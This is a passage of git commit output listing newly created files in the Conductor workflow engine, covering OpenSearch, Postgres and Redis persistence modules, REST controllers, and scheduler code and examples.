os-persistence-v2/src/test/java/org/conductoross/conductor/os2/utils/TestUtils.java create mode 100644 os-persistence-v2/src/test/resources/expected_template_task_log.json create mode 100644 os-persistence-v2/src/test/resources/task_summary.json create mode 100644 os-persistence-v2/src/test/resources/workflow_summary.json create mode 100644 os-persistence-v3/MIGRATION_GUIDE.md create mode 100644 os-persistence-v3/MIGRATION_PLAN.md create mode 100644 os-persistence-v3/README.md create mode 100644 os-persistence-v3/build.gradle create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConditions.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConfiguration.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchProperties.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchBaseDAO.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDAO.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/QueryHelper.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/Expression.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/FilterProvider.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/GroupedExpression.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/NameValue.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractNode.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/BooleanOp.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ComparisonOp.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ConstValue.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/FunctionThrowingException.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ListConst.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Name.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ParserException.java create mode 100644 os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/Range.java create mode 100644 os-persistence-v3/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 os-persistence-v3/src/main/resources/mappings_docType_task.json create mode 100644 os-persistence-v3/src/main/resources/mappings_docType_workflow.json create mode 100644 os-persistence-v3/src/main/resources/template_event.json create mode 100644 os-persistence-v3/src/main/resources/template_message.json create mode 100644 os-persistence-v3/src/main/resources/template_task_log.json create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchModuleActivationTest.java.bak2 create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/config/OpenSearchPropertiesTest.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchRestDaoBaseTest.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/OpenSearchTest.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/QuickV3Test.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAO.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/index/TestOpenSearchRestDAOBatch.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestExpression.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/TestGroupedExpression.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractParserTest.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestBooleanOp.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestComparisonOp.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestConstValue.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/dao/query/parser/internal/TestName.java create mode 100644 os-persistence-v3/src/test/java/org/conductoross/conductor/os3/utils/TestUtils.java create mode 100644 os-persistence-v3/src/test/resources/expected_template_task_log.json create mode 100644 os-persistence-v3/src/test/resources/task_summary.json create mode 100644 os-persistence-v3/src/test/resources/workflow_summary.json create mode 100644 os-persistence/README.md create mode 100644 os-persistence/build.gradle create mode 100644 os-persistence/src/main/java/com/netflix/conductor/os/config/OpenSearchDeprecationConfiguration.java create mode 100644 os-persistence/src/test/java/com/netflix/conductor/os/config/OpenSearchDeprecationTest.java create mode 100644 polyglot-clients/README.md create mode 100644 postgres-external-storage/README.md create mode 100644 postgres-external-storage/build.gradle create mode 100644 postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadConfiguration.java create mode 100644 postgres-external-storage/src/main/java/com/netflix/conductor/postgres/config/PostgresPayloadProperties.java create mode 100644 postgres-external-storage/src/main/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResource.java create mode 100644 postgres-external-storage/src/main/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorage.java create mode 100644 postgres-external-storage/src/main/resources/db/migration_external_postgres/R__initial_schema.sql create mode 100644 postgres-external-storage/src/test/java/com/netflix/conductor/postgres/controller/ExternalPostgresPayloadResourceTest.java create mode 100644 postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorageTest.java create mode 100644 postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadTestUtil.java create mode 100644 postgres-persistence/build.gradle create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresConfiguration.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresProperties.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresBaseDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresIndexDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresLockDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresQueueDAO.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecuteFunction.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecutorsUtil.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/LazyToString.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilder.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresQueueListener.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/Query.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueryFunction.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/QueueStats.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ResultSetHandler.java create mode 100644 postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/TransactionalFunction.java create mode 100644 postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresFileMetadataDAO.java create mode 100644 postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillMetadataDAO.java create mode 100644 postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillPackageDAO.java create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V10__poll_data_check.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V11__locking.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V12__task_index_columns.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V13.1__workflow_index_columns.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V14__parent_workflow_id.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V15__file_metadata.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V16__agentspan_skills.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V17__workflow_index_classifier.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V1__initial_schema.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V2__1009_Fix_PostgresExecutionDAO_Index.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V3__correlation_id_index.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V4__new_qm_index_with_priority.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V5__new_queue_message_pk.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V6__update_pk.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V7__new_qm_index_desc_priority.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V8__indexing.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres/V9__indexing_index_fix.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres_data/V13.2__workflow_index_backfill_update_time.sql create mode 100644 postgres-persistence/src/main/resources/db/migration_postgres_notify/V10.1__notify.sql create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/config/PostgresConfigurationDataMigrationTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAOTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOStatusChangeOnlyTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresIndexDAOTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresLockDAOTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAOTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAOCacheTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAONoCacheTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresQueueDAOTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/performance/PerformanceTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilderTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/postgres/util/PostgresQueueListenerTest.java create mode 100644 postgres-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/postgres/PostgresGrpcEndToEndTest.java create mode 100644 postgres-persistence/src/test/resources/application.properties create mode 100644 redis-api/build.gradle create mode 100644 redis-api/src/main/java/com/netflix/conductor/redis/jedis/JedisCommands.java create mode 100644 redis-api/src/main/java/com/netflix/conductor/redis/jedis/UnifiedJedisCommands.java create mode 100644 redis-concurrency-limit/build.gradle create mode 100644 redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAO.java create mode 100644 redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitConfiguration.java create mode 100644 redis-concurrency-limit/src/main/java/com/netflix/conductor/redis/limit/config/RedisConcurrentExecutionLimitProperties.java create mode 100644 redis-concurrency-limit/src/test/groovy/com/netflix/conductor/redis/limit/RedisConcurrentExecutionLimitDAOSpec.groovy create mode 100644 redis-configuration/README.md create mode 100644 redis-configuration/build.gradle create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisCondition.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/AnyRedisConnectionCondition.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/ConfigurationHostSupplier.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/InMemoryRedisConfiguration.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterCondition.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisClusterConfiguration.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisConfiguration.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisProperties.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelCondition.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisSentinelConfiguration.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneCondition.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneConfiguration.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/InMemoryJedisCommands.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisClusterCommands.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisProxy.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisStandalone.java create mode 100644 redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/RetryingJedisCommands.java create mode 100644 redis-configuration/src/main/java/com/netflix/dyno/connectionpool/Host.java create mode 100644 redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostBuilder.java create mode 100644 redis-configuration/src/main/java/com/netflix/dyno/connectionpool/HostSupplier.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConfigurationTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisConnectionConditionTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisPropertiesTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisSentinelConfigurationTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/config/RedisStandaloneConfigurationTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/ConfigurationHostSupplierTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisClusterCommandsBatchTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisCommandsIntegrationTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisProxyIntegrationTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/RetryingJedisCommandsTest.java create mode 100644 redis-configuration/src/test/java/com/netflix/conductor/redis/testutil/FixedPortContainer.java create mode 100644 redis-configuration/src/test/java/com/netflix/dyno/connectionpool/HostBuilderTest.java create mode 100644 redis-lock/build.gradle create mode 100644 redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisHealthIndicator.java create mode 100644 redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockConfiguration.java create mode 100644 redis-lock/src/main/java/com/netflix/conductor/redislock/config/RedisLockProperties.java create mode 100644 redis-lock/src/main/java/com/netflix/conductor/redislock/lock/RedisLock.java create mode 100644 redis-lock/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 redis-lock/src/test/java/com/netflix/conductor/redis/lock/RedisLockTest.java create mode 100644 redis-lock/src/test/java/com/netflix/conductor/redislock/config/RedisHealthIndicatorTest.java create mode 100644 redis-persistence/build.gradle create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/config/RedisWorkflowMessageQueueConfiguration.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/BaseDynoDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisExecutionDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisFileMetadataDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisMetadataDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisPollDataDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisRateLimitingDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillMetadataDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillPackageDAO.java create mode 100644 redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAO.java create mode 100644 redis-persistence/src/main/java/io/orkes/conductor/mq/dao/BaseRedisQueueDAO.java create mode 100644 redis-persistence/src/main/java/io/orkes/conductor/mq/dao/ClusteredRedisQueueDAO.java create mode 100644 redis-persistence/src/main/java/io/orkes/conductor/mq/dao/RedisQueueDAO.java create mode 100644 redis-persistence/src/main/java/io/orkes/conductor/mq/redis/config/RedisQueueConfiguration.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/BaseDynoDAOTest.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAOTest.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisExecutionDAOTest.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisMetadataDAOTest.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisPollDataDAOTest.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisRateLimitDAOTest.java create mode 100644 redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAOTest.java create mode 100644 requirements.txt create mode 100644 rest/build.gradle create mode 100644 rest/src/main/java/com/netflix/conductor/rest/config/RequestMappingConstants.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/AdminResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapper.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/EnvironmentResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/EventResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/HealthCheckResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/MetadataResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/QueueAdminResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/SecretResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/TaskResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/ValidationExceptionMapper.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowBulkResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowMessageQueueResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/controllers/WorkflowResource.java create mode 100644 rest/src/main/java/com/netflix/conductor/rest/startup/KitchenSinkInitializer.java create mode 100644 rest/src/main/java/org/conductoross/conductor/RestConfiguration.java create mode 100644 rest/src/main/java/org/conductoross/conductor/SpaInterceptor.java create mode 100644 rest/src/main/java/org/conductoross/conductor/controllers/FileResource.java create mode 100644 rest/src/main/java/org/conductoross/conductor/controllers/VersionResource.java create mode 100644 rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithEphemeralTasks.json create mode 100644 rest/src/main/resources/kitchensink/kitchenSink-ephemeralWorkflowWithStoredTasks.json create mode 100644 rest/src/main/resources/kitchensink/kitchensink.json create mode 100644 rest/src/main/resources/kitchensink/sub_flow_1.json create mode 100644 rest/src/main/resources/kitchensink/wf1.json create mode 100644 rest/src/main/resources/kitchensink/wf2.json create mode 100644 rest/src/main/resources/static/favicon.ico create mode 100644 rest/src/main/resources/static/index.html create mode 100644 rest/src/main/resources/static/logo.png create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/AdminResourceTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/ApplicationExceptionMapperTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/EnvironmentResourceTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/EventResourceTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/MetadataResourceTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/SecretResourceTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/TaskResourceTest.java create mode 100644 rest/src/test/java/com/netflix/conductor/rest/controllers/WorkflowResourceTest.java create mode 100644 rest/src/test/java/org/conductoross/conductor/SpaInterceptorTest.java create mode 100644 rest/src/test/java/org/conductoross/conductor/rest/controllers/FileResourceTest.java create mode 100644 scheduler/cassandra-persistence/build.gradle create mode 100644 scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerConfiguration.java create mode 100644 scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAO.java create mode 100644 scheduler/cassandra-persistence/src/main/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAO.java create mode 100644 scheduler/cassandra-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/config/CassandraSchedulerAutoConfigurationTest.java create mode 100644 scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerArchivalDAOTest.java create mode 100644 scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAOTest.java create mode 100644 scheduler/core/build.gradle create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerArchivalDAO.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerSearchQuery.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/CachingSchedulerDAO.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/NoOpSchedulerCacheDAO.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerCacheDAO.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/SchedulerDAO.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/health/RedisMonitor.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerConditions.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerOssConfiguration.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/config/SchedulerProperties.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListener.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/listener/ScheduleChangeListenerStub.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/CronSchedule.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/NextScheduleResult.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowSchedule.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleExecutionModel.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/model/WorkflowScheduleModel.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerBulkResource.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/rest/SchedulerResource.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkService.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceImpl.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerException.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerService.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutor.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutorImpl.java create mode 100644 scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerTimeProvider.java create mode 100644 scheduler/core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/InMemorySchedulerDAO.java create mode 100644 scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceTest.java create mode 100644 scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerServiceTest.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/config/AbstractSchedulerAutoConfigurationSmokeTest.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerArchivalDAOTest.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerDAOTest.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/AbstractSchedulerServiceIntegrationTest.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutor.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutorService.java create mode 100644 scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockQueueDao.java create mode 100644 scheduler/examples/README.md create mode 100644 scheduler/examples/bounded-schedule-template.json create mode 100644 scheduler/examples/bounded-workflow.json create mode 100644 scheduler/examples/catchup-schedule.json create mode 100644 scheduler/examples/catchup-workflow.json create mode 100644 scheduler/examples/concurrent-schedule.json create mode 100644 scheduler/examples/concurrent-workflow.json create mode 100644 scheduler/examples/daily-report-schedule.json create mode 100644 scheduler/examples/daily-report-workflow.json create mode 100644 scheduler/examples/dowhile-schedule.json create mode 100644 scheduler/examples/dowhile-workflow.json create mode 100644 scheduler/examples/every-minute-schedule.json create mode 100644 scheduler/examples/input-param-schedule.json create mode 100644 scheduler/examples/input-param-workflow.json create mode 100644 scheduler/examples/multistep-schedule.json create mode 100644 scheduler/examples/multistep-workflow.json create mode 100644 scheduler/examples/retry-schedule.json create mode 100644 scheduler/examples/retry-workflow.json create mode 100644 scheduler/examples/seed.sh create mode 100644 scheduler/mysql-persistence/build.gradle create mode 100644 scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerConfiguration.java create mode 100644 scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAO.java create mode 100644 scheduler/mysql-persistence/src/main/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAO.java create mode 100644 scheduler/mysql-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V1__scheduler_tables.sql create mode 100644 scheduler/mysql-persistence/src/main/resources/db/migration_scheduler_mysql/V2__scheduler_next_run_table.sql create mode 100644 scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/config/MySQLSchedulerAutoConfigurationSmokeTest.java create mode 100644 scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerArchivalDAOTest.java create mode 100644 scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/dao/MySQLSchedulerDAOTest.java create mode 100644 scheduler/mysql-persistence/src/test/java/org/conductoross/conductor/scheduler/mysql/service/MySQLSchedulerServiceIntegrationTest.java create mode 100644 scheduler/mysql-persistence/src/test/resources/application.properties create mode 100644 scheduler/postgres-persistence/build.gradle create mode 100644 scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerConfiguration.java create mode 100644 scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAO.java create mode 100644 scheduler/postgres-persistence/src/main/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAO.java create mode 100644 scheduler/postgres-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V1__scheduler_tables.sql create mode 100644 scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V2__scheduler_next_run_table.sql create mode 100644 scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerAutoConfigurationSmokeTest.java create mode 100644 scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAOTest.java create mode 100644 scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAOTest.java create mode 100644 scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/service/PostgresSchedulerServiceIntegrationTest.java create mode 100644 scheduler/postgres-persistence/src/test/resources/application.properties create mode 100644 scheduler/redis-persistence/build.gradle create mode 100644 